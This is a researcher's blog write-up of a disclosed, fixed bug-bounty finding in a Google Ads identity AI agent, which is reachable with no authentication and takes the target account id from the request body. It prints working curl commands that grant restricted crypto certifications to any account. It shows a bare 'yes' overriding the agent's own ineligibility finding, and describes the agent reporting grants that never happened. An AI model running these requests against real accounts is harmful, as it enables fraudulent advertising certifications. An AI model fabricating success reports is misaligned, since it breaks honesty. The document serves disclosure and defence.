Skip to content
all posts
Writeup 5 min read

Approving a crypto licence on any Google Ads account

The Ads identity agent answered with no cookies and took the customer id out of the request body. Two curl calls, and the account shows an approved restricted certification it never qualified for.


Google Ads requires a certification before an account can run crypto, gambling, or complex financial product ads. You prove you hold a licence for the vertical in that country and the account gets a certification row.

An AI agent assists with this. It looks up public registers, sends verification email, and records the result. Its endpoint answered with no session at all, and the account it acted on came from the request body.

Two curl calls approved a certification on an account that had submitted nothing. Google fixed it. Reproduce it below.

Reproduce

Requirements: curl, and a shell. No Google account.

Pick an Ads customer id. Any id works, including one that does not exist. I used 9999977777.

Generate a session uuid for this run. It is attacker-chosen, not issued by Google.

UUID=$(uuidgen)
TARGET=9999977777
RPC=https://ads.google.com/aw_identity/_/rpc/ads.awapps.anji.proto.advertiseridentity.ai.IdentityAgentService/RunAgentStreaming

Step 1: eligibility and the registry lookup

curl -sN "$RPC" \
  -H 'origin: https://ads.google.com' \
  -H 'content-type: application/x-www-form-urlencoded' \
  --data-urlencode "__ar={\"1\":\"I want to certify my account for complex speculative financial products in Australia. My website is kraken.com.\",\"2\":{\"1\":$TARGET,\"2\":\"$UUID\"},\"3\":4}"

The response is a stream of frames. Two of them matter:

{"5":"Storing proposed certificate details in the records."}
{"5":"Finished recording proposed certificate."}

Those are the agent’s tool calls executing. It hit ASIC’s professional registers with kraken.com and got the real licence numbers back, for a domain the caller does not own.

The last frame carries the session handle in field 4:

{"1":"Kraken (kraken.com) appears to be eligible for CSFP certification in Australia...","3":[{"1":"Link certification","2":2}],"4":"<orcasSessionId>"}
ORCAS=$(curl -sN "$RPC" \
  -H 'origin: https://ads.google.com' \
  -H 'content-type: application/x-www-form-urlencoded' \
  --data-urlencode "__ar={\"1\":\"status of kraken.com\",\"2\":{\"1\":$TARGET,\"2\":\"$UUID\"},\"3\":4}" \
  | grep -o '"4":"[^"]*"' | tail -1 | cut -d'"' -f4)

Step 2: grant

Same session id, plus the handle from step 1.

curl -sN "$RPC" \
  -H 'origin: https://ads.google.com' \
  -H 'content-type: application/x-www-form-urlencoded' \
  --data-urlencode "__ar={\"1\":\"Yes, certify me.\",\"2\":{\"1\":$TARGET,\"2\":\"$UUID\",\"4\":\"$ORCAS\"},\"3\":4}"
{"1":"Excellent! Certification successfully granted! It may take 1-2 hours to reflect in the account."}

Step 3: confirm it is real

Do not trust that sentence. Sign into the target account and open Policy, then Account, then Completed tasks. The row is there with status Approved.

That UI check is the finding. The chat reply is not.

Why it worked

Three checks were missing, and each one is a separate bug.

No authentication. No cookie, no XSRF token, no Authorization header. The gateway did not care.

No ownership check. The customer id is field 2.1 of the body. Nothing compared it to a session, because there was no session. There is also no existence check: 9999977777 was accepted and the whole flow ran against it.

No enforcement of eligibility. The registry result is written into the reply text and the user is asked to confirm. A bare “yes” is enough:

run 1: "...is NOT eligible for CSFP certification in Australia at this time."
       -> "Yes, certify me."
       -> "Certification successfully granted!"

The second run returned the opposite eligibility answer and granted anyway. The register lookup informs the reply. Nothing enforces it.

Grants stack per domain, and asking for status can mint one too. In one bound session I only asked “what is my current cryptocurrency certification status”, and it executed a new grant.

The transport

The body is not JSON. It is __ar=<json> as a form field, which is Google’s JSPB envelope. Field numbers are proto tags:

fieldmeaning
1prompt
2context object
2.1Ads customer id
2.2session uuid, caller-generated
2.4session handle returned by the server on the previous turn
3agent id

Field 3 is a dispatcher. 2 is the general identity agent, 3 and 6 are UK crypto, 4 is the Australian CSFP agent used above, 7 is business-entity verification, 8 is Chinese individual verification. They are separate agents behind one endpoint, with different tool lists.

Two transport details cost me time:

  • The short path /aw_identity/_/rpc/IdentityAgentService/RunAgentStreaming also works. The long fully-qualified path is the one I captured from the console.
  • An & inside the __ar JSON breaks the gateway with a 400 unless it is urlencoded. Use --data-urlencode and build the JSON in a file.

How I found it

I started somewhere else. I was testing whether one Ads account could reach another account’s data, replaying reporting and billing RPCs with a foreign customer id. Every one returned:

AUTH_ERROR_USER_CANNOT_ACCESS_CUSTOMER
AuthorizationError Reason: USER_PERMISSION_DENIED

That wall held, on the reporting surface and on the billing surface. Cross-account reads were clean, nine rounds of them.

So I changed the question. Instead of asking what an endpoint lets me read, I asked which endpoints answer with no session at all.

I pulled the endpoint list out of the console’s own JavaScript bundles, then hit every one with no cookie and no token, and sorted the results by failure shape:

responsewhat it means
login redirect, AUTH_ERROR_*, LOGIN_COOKIE_REQUIREDgated before the request is parsed
400 naming a proto field, or a deserialization errorrequest was parsed, only authz is missing
200, or a tool result frameexecuted

435 of the endpoints landed in the first two buckets. One executed. It was the agent.

That is the whole method. One lever, applied to every endpoint the product exposes, and read the failure shape rather than guessing which part of the app is interesting.

What I did not prove

No account data read. The agent has no tool that reads an account.

No third party account touched. I used my own test customer and ids that do not exist.

Rejection has no persistent effect. Only the approval lands.

The model lies

This nearly produced a false report, so it belongs in the writeup.

Some agent modes answered “successfully granted” while the account page showed nothing. One run returned what looked like a firm reference number that was actually a GeoJSON blob, with no tool result frames anywhere in the response. A fabricated answer, formatted to look real.

The unary call and the streaming call are not equivalent for this. In one comparison on the same account and domain, the unary mode answered “successfully granted” with a response containing only fields 1, 3, and 4, meaning text with no tool call behind it. The account page showed nothing. The same request over streaming returned the “Storing proposed certificate details in the records” frames, and the account page showed the approval.

The rule: an agent’s reply is a claim, the product UI is the evidence, and always run the identical prompt against an id that does not exist before believing any per-account answer.

The timeline

  • 2026-08-23: first unauth certification granted on my own test customer
  • 2026-08-23: filed to Google VRP
  • 2026-08-24: verified the grants persist in the account UI; added the non-existent customer id control and the eligibility-override runs
  • 2026-08-24: escalation supplement posted on the same issue
  • later: fixed

The fix

A session bound to the target customer id before any tool executes. The model should not mediate whether a compliance condition is met.

Related

Self-serve

Hugin is built

The intercepting proxy and scanner I build and use daily — one Rust binary, local-first, no account. Community is free; Pro is €10/month when you need the offensive tier.

Get Hugin